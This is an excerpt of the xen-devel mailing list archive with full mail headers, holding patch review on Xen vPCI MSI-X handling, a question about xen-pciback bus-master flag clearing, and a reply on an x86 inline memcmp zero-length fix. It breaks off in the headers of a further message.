	OAv2+30RJKbcl8apNtVxUKcP0oScZMBic3DpSIaOAgVBAAfZvlGjR3BnmnzdXvYvbDmQ==
X-Received: by 2002:a05:6000:385:b0:47f:853c:ad7b with SMTP id ffacd0b85a97d-47f901ce2e3mr3929075f8f.9.1784822354923;
        Thu, 23 Jul 2026 08:59:14 -0700 (PDT)
Message-ID: <7f8ad0ec-d93e-4664-ab9a-c2b9199f3d2a@suse.com>
Date: Thu, 23 Jul 2026 17:59:13 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 4/9] vpci/msix: move MSI-X hole punching as a result of
 memory decoding enable
To: Stewart Hildebrand <stewart.hildebrand@amd.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 xen-devel@lists.xenproject.org
References: <20260708210233.922275-1-stewart.hildebrand@amd.com>
 <20260708210233.922275-5-stewart.hildebrand@amd.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0Nym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TaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260708210233.922275-5-stewart.hildebrand@amd.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784822355-CD94A87B-98097305/0/0
X-purgate-type: clean
X-purgate-size: 2640

On 08.07.2026 23:02, Stewart Hildebrand wrote:
> From: Roger Pau Monne <roger.pau@citrix.com>
> 
> Deferring the p2m unpopulate of the MSI-X table region to after the BARs are
> mapped in the p2m is not needed.  The aim of vpci_make_msix_hole() is to
> cope with the BAR containing the MSI-X table being positioned over a
> reserved e820 region, by making sure the MSI-X table region is
> unpopulated on the p2m. Note that reserved e820 regions are identity mapped
> in the hardware domain p2m by default.
> 
> Doing it before or after the BAR p2m changes are done is irrelevant, hence
> do it ahead of the p2m changes, as that's simpler.
> 
> Note that vpci_make_msix_hole() should be invoked strictly after setting
> bar->enabled. The movement of vpci_make_msix_hole() is OK since
> bar->enabled is set in modify_bars().
> 
> Take the opportunity to store the memory decoding enabled bit in a local
> variable.
> 
> Signed-off-by: Roger Pau MonnÃ© <roger.pau@citrix.com>
> Signed-off-by: Stewart Hildebrand <stewart.hildebrand@amd.com>
> ---
> Note that this should not be committed until after the bar->enabled
> setting movement in ("xen/vpci: only check BAR validity once")
> 
> I tested this with hot-plug as described in 7c24d58a6e64 ("vpci/msix:
> check for BARs enabled in vpci_make_msix_hole").
> 
> The return at the end of the function will gain a purpose again after a
> later code movement patch in the series.
> 
> The new_enabled variable will gain 2 additional uses later in the series.
> 
> v1->v5:
> * order after ("xen/vpci: only check BAR validity once")
> * preserve behavior of only invoking vpci_make_msix_hole() when memory
>   decoding toggles from 0 to 1
> * add note about vpci_make_msix_hole() invocation after setting bar->enabled
> * use local variable
> * Jan offered an R-b tag in [1], though I hesitated to pick it up due to
>   changes, and it was offered prior to 7c24d58a6e64 going upstream
> [1] https://lore.kernel.org/xen-devel/e2c4944d-d089-490c-879d-b6baec5e4cae@suse.com/

If there wasn't ...

> @@ -556,6 +544,12 @@ static void cf_check cmd_write(
>          modify_bars(pdev, cmd, false);
>      else
>          pci_conf_write16(pdev->sbdf, reg, cmd);
> +
> +#ifdef CONFIG_HAS_PCI_MSI
> +    /* Unpopulate MSI-X table region, so accesses trap into Xen. */
> +    if ( !header->bars_mapped && new_enabled && vpci_make_msix_hole(pdev) )
> +        return;
> +#endif

... the new first part of the conditional, I'd re-offer R-b right away. With
that check added, aren't we at risk of leaving the range mapped when it
shouldn't be?

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 16:16:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 16:16:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369376.1618174 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmw6O-0004v3-JC; Thu, 23 Jul 2026 16:16:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369376.1618174; Thu, 23 Jul 2026 16:16:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmw6O-0004uw-FY; Thu, 23 Jul 2026 16:16:52 +0000
Received: by outflank-mailman (input) for mailman id 1369376;
 Thu, 23 Jul 2026 16:16:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wmw6M-0004uq-I0
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 16:16:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmw6L-009RZD-Uy
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 18:16:49 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a623e4e-2eae-0a2a0a5409dd-0a2a4504bde2-40
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 18:16:49 +0200
Received: from [80.241.56.171] (helo=mout-p-201.mailbox.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a623e71-b57f-0a2a45040019-50f138aba4ba-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 18:16:49 +0200
Received: from smtp102.mailbox.org (smtp102.mailbox.org
 [IPv6:2001:67c:2050:b231:465::102])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-201.mailbox.org (Postfix) with ESMTPS id 4h5bq51Zz1zMlHw;
 Thu, 23 Jul 2026 18:16:49 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784823409;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding;
	bh=Hpw7/UiaEy7PeKqIr+HqArMRpKTyyhCU3DTRMYChspM=;
	b=enrvpsoHV2fwfi8PAeSlnyPI2M4zF5L1oArbDBB3ev/thZA2ejiQOLxBzqINvPcpuLA/1T
	P6+O5MsfXZngLbEODCp0+Ya1+i0TwzPth8lVJqYTqjzUJ2BsGWpHG4mM5YJmBJvcbX48Rn
	zDkEKz5jvQVUu+UyTKUqrE++gfKyEoHsv9VioVo0B6VV1AkKjEPB2ljKpVw46F+D3/L+Yv
	+UP4qA1orGY5fS3lrsW7Sd8Dhobiz89r1meXVyYz0BfsiJtY9coI5rrhz31+xvwtbsD63w
	SnhiLdLAefduPmV4/1BAqKCPdVOKVWLaiPB5+gRPE7vMOQLfL2QN4zj9GFvz2g==
Authentication-Results: outgoing_mbo_mout;
	dkim=pass header.d=mailbox.org header.s=mail20150812 header.b=fLXL69Jv;
	spf=pass (outgoing_mbo_mout: domain of mhi@mailbox.org designates 2001:67c:2050:b231:465::102 as permitted sender) smtp.mailfrom=mhi@mailbox.org
From: Maurice Hieronymus <mhi@mailbox.org>
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784823407;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:
	 content-transfer-encoding:content-transfer-encoding;
	bh=Hpw7/UiaEy7PeKqIr+HqArMRpKTyyhCU3DTRMYChspM=;
	b=fLXL69JvAtvKZf89tnUW6yFDTqb/PzyhhI/z7epsJ2iEkUoUqJCZ+MYHldgQnUy/LlpkV+
	PQtpzC1PdJdJtP9iOCtOasbbRpjrF03GwJxrPBMf5Q5pIk3drTcEgWE8Lw+g3GvFx5TKod
	NuFfzft9i+tWFCcoIelJjosmqR79my0jWl/WIypMKNxqYtwcp/a/aAdV2jUqbFS+Tz7f9L
	T7+MN35LQZyTcYYksRtv/hXQquISleqq7fQ+fl3caWOCiszPMPwLBFb0MkGGVmJBJlfypB
	cz1b83sNJaEZGStZJy0UQ0qv70QlIA9tW1HaJH59pZBjWQUdAYwhVhl/nKoucg==
To: Juergen Gross <jgross@suse.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Oleksandr Tyshchenko <oleksandr_tyshchenko@epam.com>,
	xen-devel@lists.xenproject.org
Cc: Maurice Hieronymus <mhi@mailbox.org>,
	Lukas Wunner <lukas@wunner.de>,
	Bjorn Helgaas <bhelgaas@google.com>,
	linux-pci@vger.kernel.org,
	linux-kernel@vger.kernel.org
Subject: xen-pciback: would using pci_clear_master() in xen_pcibk_reset_device() break anything?
Date: Thu, 23 Jul 2026 18:16:33 +0200
Message-ID: <20260723161638.9838-1-mhi@mailbox.org>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MBO-RS-META: fq69reqpoifnzd9qh68e46ix5sr3j1bp
X-MBO-RS-ID: 06c168c9acfd683c511
X-Rspamd-Queue-Id: 4h5bq51Zz1zMlHw
X-purgate-ID: tlsNG-ebf023/1784823409-C10DDB50-80CA668D/0/0
X-purgate-type: clean
X-purgate-size: 1767

Hi,

I am moving `is_busmaster` out of the C bitfield in `struct pci_dev` [1],
because the bits sharing that word are written without a common lock.
xen-pciback is the only code outside drivers/pci that writes the flag,
in `xen_pcibk_reset_device()`:

	if (dev->hdr_type == PCI_HEADER_TYPE_NORMAL) {
		...
		if (pci_is_enabled(dev))
			pci_disable_device(dev);

		dev->is_busmaster = 0;
	} else {
		pci_read_config_word(dev, PCI_COMMAND, &cmd);
		if (cmd & (PCI_COMMAND_INVALIDATE)) {
			cmd &= ~(PCI_COMMAND_INVALIDATE);
			pci_write_config_word(dev, PCI_COMMAND, cmd);

			dev->is_busmaster = 0;
		}
	}

Lukas Wunner suggested converting both assignments to `pci_clear_master()`,
so that nothing outside drivers/pci writes the flag [2]. That is not
behavior-preserving: the assignments clear the software flag only, while
`pci_clear_master()` also clears `PCI_COMMAND_MASTER` in config space (it
skips the write only if the bit is already clear).

I do not know xen-pciback, so I cannot tell whether that difference
matters. One thing makes me suspicious: commit 7681f31ec9cd ("xen/pciback:
Don't disable PCI_COMMAND on PCI device reset.") deliberately removed a
`pci_write_config_word(dev, PCI_COMMAND, 0)` from directly above the first
assignment, and `pci_clear_master()` would put a `PCI_COMMAND` write back
at that exact spot.

So my question is simply: would converting these two assignments to
`pci_clear_master()` break anything?

If it would, I will keep xen-pciback's current semantics and export a
narrow flag-only helper instead.

[1] https://lore.kernel.org/linux-pci/20260714-pci-dev-flags-v2-1-a1d7dc441cf3@mailbox.org/
[2] https://lore.kernel.org/linux-pci/alcSjoypegNolW48@wunner.de/

Best,

Maurice


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 19:38:21 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 19:38:21 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369538.1618184 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmzF6-0004Qc-5b; Thu, 23 Jul 2026 19:38:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369538.1618184; Thu, 23 Jul 2026 19:38:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmzF6-0004QR-0Q; Thu, 23 Jul 2026 19:38:04 +0000
Received: by outflank-mailman (input) for mailman id 1369538;
 Thu, 23 Jul 2026 19:38:02 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <brgerst@gmail.com>) id 1wmzF3-0004QL-Ua
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 19:38:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmzF3-0026Ml-BL
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 21:38:01 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <brgerst@gmail.com>)
 id 6a626d77-e002-0a2a0a5209dd-0a2a4504dc08-36
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 21:38:01 +0200
Received: from [209.85.217.49] (helo=mail-vs1-f49.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <brgerst@gmail.com>)
 id 6a626d98-b57f-0a2a45040019-d155d931e9f8-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 21:38:01 +0200
Received: by mail-vs1-f49.google.com with SMTP id
 ada2fe7eead31-738cdd667ceso276384137.3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 12:38:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784835480; cv=none;
        d=google.com; s=arc-20260327;
        b=JK2o17UXWsvtA94km22snwH6gJSIy+vnriPiv9ZdUUz+uC/NPaic83tyRiOKsb+Ewr
         i8oKWgf4pyyb8O/Kea2cTNKOrdEnL6LqxCJCSnchZaufzGNmDIpZ6esxqasmSfz7UsM2
         z3cnTNmqXvtTHw3IGslymH+zdXIKQRSTe+4nw+Pq8cWSxB9t06flL0lB7lheSVdnXtkI
         Bd/htiUC43A5iKlbTlv3zUKIbXJwb/MbginUak1+sm7hCdOfCPeJQxFMa/pNibFkD7r7
         2McnzTBrz6aMV9SiyzCpts8afXG7ztVjT2argJYLmJWOdqMomV954yA5ghZ8y3rfyhIX
         D0bQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=oWKbsBbm9eg9R7aduyFLAHcnNHPcWLLQDbRXMW+g5LI=;
        fh=zsexs5QKyhlFxqTRjP77L6TwkfDMn9yRs0P53mmNGEs=;
        b=JZ01/APj29x9Zwv6t13kscKArZrlVC2kC0i0PlFpcLLWHJ64D+jnnjt2MHnIdG/nA8
         GiIvs9Xhtv8C6//R4al9nga2Yk1OJ30zzZ9RWQRQRK1hTciR/Zp8XUqFl+G7yBVyJ9dB
         G9s1yKddo3UabviSXtwNtxOcV43xOXE4K7cISVl4IhU3C/5OEXrfHT90mCm42pnInBsu
         MJ5YM3hU+LWUieMoo879pft69BwuLFp7TuHSw0/IN126W63hukMEFIFrrb4QMBr9o5X7
         bbYNx/urF9FGW9N6+r4f4qGvQxPQhbb8/mmPltKLYVXBKAP9fcfEChBrVzw6E7n2QPlc
         kLbQ==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784835480; x=1785440280; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=oWKbsBbm9eg9R7aduyFLAHcnNHPcWLLQDbRXMW+g5LI=;
        b=DNnHfnoRBT3AMSlXDOP8HJJranQ4IG7vu5MlMC5QiDa/RLKgJ1MgAYndgvdGl2GtZ9
         f1dJqjUjeo9Q/W0naYblTZ6oiO7frM7yk8Bty9gYo6GaWbOWxRYEuX3JlYBLsSHuWnlF
         +eAoWT6CrT2xzHSoGIysbjqke8Im634D5/0H3eb+3r5DjVFWVRuC/h09Z5hR+GAxrH7j
         cZwpsVFRldQbz3xlBx/tGXyKg9EHxjMEriv2aQtt6ATH22p0X5rWFKJiuvysWDrA6koX
         dDO3Fuvvmo5/OfpoKzOjGI2UFk00tOL0xPMjhMEDkuX6wPHOgVqDpfpotnCn+3D5xvUy
         aOCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784835480; x=1785440280;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=oWKbsBbm9eg9R7aduyFLAHcnNHPcWLLQDbRXMW+g5LI=;
        b=lP7jcmnzYS0dhsidzgzC/16DQLgQXovqQbk5LXp2hJeiGI6fmmzOCRyvZcllhijpRi
         Fac2su2qr/rSottEaqe/RVc7FZhshPfesXt6q30a3ABz7gCaEl4v+k8msRSHJzSrDSv7
         ALlZ7TS7FKR8x4MsqEKe1t/WiDLw9XRwL6qPlTIc/QhOUXwr0Qh48+eZK8xQV1vuqbfq
         E++tnLoKEryvJEQ1acOuXv9RDa9uCc32xeS1aC1ngtddsblPnYM5jPyXMY3lpjL+QxGR
         sgNRCN5+SMAjmm47fc4UZZ0xZbZn2p34LTmnyOnHgDFGe1PcD9YYfd9oEh8UObd+lglp
         5hOA==
X-Forwarded-Encrypted: i=1; AHgh+RriSqoIuRbMZAMDzCvfXbny9XMHxiD1WHfKSfMKnhdMv5x6tRw8S1QEUdmgs5r89Umd1x7ykvGraWw=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxPGELoeSLTKvCWimj9dZNcQahuTMtrvjIbUwYoppOfAqDYUDdU
	AjDCzd5cPtNXSJOXfWPvHEfi2AOYykWwj/twajXMGoIaAXdk57MhFLysWdYUQC1wjLZRPss2mqD
	UTm5n/ZiMP69IyvgZzFn3/gX++DTZ9g==
X-Gm-Gg: AR+sD11w1gslcRScS9tPwmmk+ON9S023kVU0yQNcZnNN+bi9+5WxRJmI7dUZ9xlkq7l
	2m0mVL0bo0cu6QYvq9FK7ZrA/zWpVlHe9e8JGL3lFpw20ze7jPyYaPsA+6cd/AsZNrWw8339XpC
	AEoZ44wjugX+aiiWkDxUX4n8E1qTcPtH/EJTE23TrACw8TVErtPxPK6k7v/qph5jusbRXzMRFA5
	k+wrm7qcGePSGv1jsdUFA0QN+GsbfhHRwuNoTIrJzAcbf6p2PyMK8STD6tmv8FEd+h+ASQfEfqD
X-Received: by 2002:a05:6102:953:b0:745:9c0f:9353 with SMTP id
 ada2fe7eead31-74d6110cc5fmr2202108137.27.1784835479735; Thu, 23 Jul 2026
 12:37:59 -0700 (PDT)
MIME-Version: 1.0
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
In-Reply-To: <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
From: Brian Gerst <brgerst@gmail.com>
Date: Thu, 23 Jul 2026 15:37:48 -0400
X-Gm-Features: AUfX_mwBzqaUZxwX7i1MT2KeOpbwLGgmkPYGJI_vQ13SYop1F_xWidxI_jhgaXk
Message-ID: <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com>
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
To: "H. Peter Anvin" <hpa@zytor.com>
Cc: Borislav Petkov <bp@alien8.de>, Mauricio Faria de Oliveira <mfo@igalia.com>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com, 
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ebf023/1784835481-587C6B50-E896C5FD/0/0
X-purgate-type: clean
X-purgate-size: 2873

On Wed, Jul 22, 2026 at 2:53=E2=80=AFPM H. Peter Anvin <hpa@zytor.com> wrot=
e:
>
> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8.de> wrote:
> >hpa in To:.
> >
> >On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wro=
te:
> >> Add the volatile qualifier and clobbers parameter to prevent bugs with
> >> instruction reordering and optimization.
> >>
> >> Also check the zero-length case, as the 'repe' prefix does not run the
> >> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
> >
> >Please use capital letters for insns: REPE, CMPSB and you don't need to =
put
> >words in '' - it reads fine without them.
> >
> >> the condition-code/zero flag, so the result is based on a stale flag.
> >>
> >> Those are pre-existing issues found by Sashiko.
> >>
> >> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba=
99045dfa9f%40igalia.com
> >> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
> >> ---
> >>  arch/x86/include/asm/shared/string.h | 8 ++++++--
> >>  1 file changed, 6 insertions(+), 2 deletions(-)
> >>
> >> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/a=
sm/shared/string.h
> >> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab=
3cdac281d67aef5d44 100644
> >> --- a/arch/x86/include/asm/shared/string.h
> >> +++ b/arch/x86/include/asm/shared/string.h
> >> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const vo=
id *s1, const void *s2, size_
> >>  {
> >>      bool diff;
> >>
> >> -    asm("repe cmpsb"
> >> -        : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
> >> +    if (len =3D=3D 0)
> >> +            return 0;
> >> +
> >> +    asm volatile("repe cmpsb"
> >> +                 : "=3D@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len=
)
> >> +                 : : "cc", "memory");
> >>
> >>      return diff;
> >>  }
> >
> >So this is a fix which should probably go to stable, I think. Going back=
 into
> >git history, it points to
> >
> >  62bd0337d0c4 ("Top header file for new x86 setup code")
> >
> >from 2007. And we have carried it this way through the years and who kno=
ws
> >what hit this or not. So please make this the first patch in your set - =
you
> >can even send it separately so that I can get route it through stable.
> >
> >Then you can base the rest ontop.
> >
> >Thx.
> >
>
> Also, this is silly. Instead of adding a whole separate test, just do "te=
st %3,%3" before the repe to set ZF and let the REPE skip.

REPE does not check ZF before the first iteration.

>From the Intel SDM:
"When the REPE/REPZ and REPNE/REPNZ prefixes are used, the ZF flag
does not require initialization because both
the CMPS and SCAS instructions affect the ZF flag according to the
results of the comparisons they make."


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 20:10:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 20:10:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369571.1618192 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmzjx-00005j-G4; Thu, 23 Jul 2026 20:09:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369571.1618192; Thu, 23 Jul 2026 20:09:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wmzjx-00005b-DH; Thu, 23 Jul 2026 20:09:57 +0000
Received: by outflank-mailman (input) for mailman id 1369571;
 Thu, 23 Jul 2026 20:09:56 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wmzjw-00005V-EK
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 20:09:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wmzjv-00HFoP-NM
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 22:09:55 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6274cd-5cb7-0a2a0a5109dd-0a2a4505e70a-26
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 22:09:54 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a627510-4cb1-0a2a45050019-888fbc33528c-3
 for <xen-devel@lists.xenproject.org>; Thu, 23 Jul 2026 22:09:54 +0200
Received: by mx.zohomail.com with SMTPS id 1784837383134238.7169774010447;
 Thu, 23 Jul 2026 13:09:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="Message-ID:Date:MIME-Version:Subject:To:Cc:From:In-Reply-To:Content-Type:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1784837386; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=H0nT+hIsHvsJyPbgFEkcIj3W2pXB8QumH6K/s5nb/mz5h69y6RsyqcKdam8INKAEhzOANLopiP1KUgm3tozC3kaTsYuQG3KAq0wT2xe/5Vnu0iIvmj9ysbpDhzWcXP98p9p1C6qYTr6v/ILlcRJzlnWTWiYGG6jNYlTNsv31Klo=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1784837386; h=Content-Type:Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:In-Reply-To:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To; 
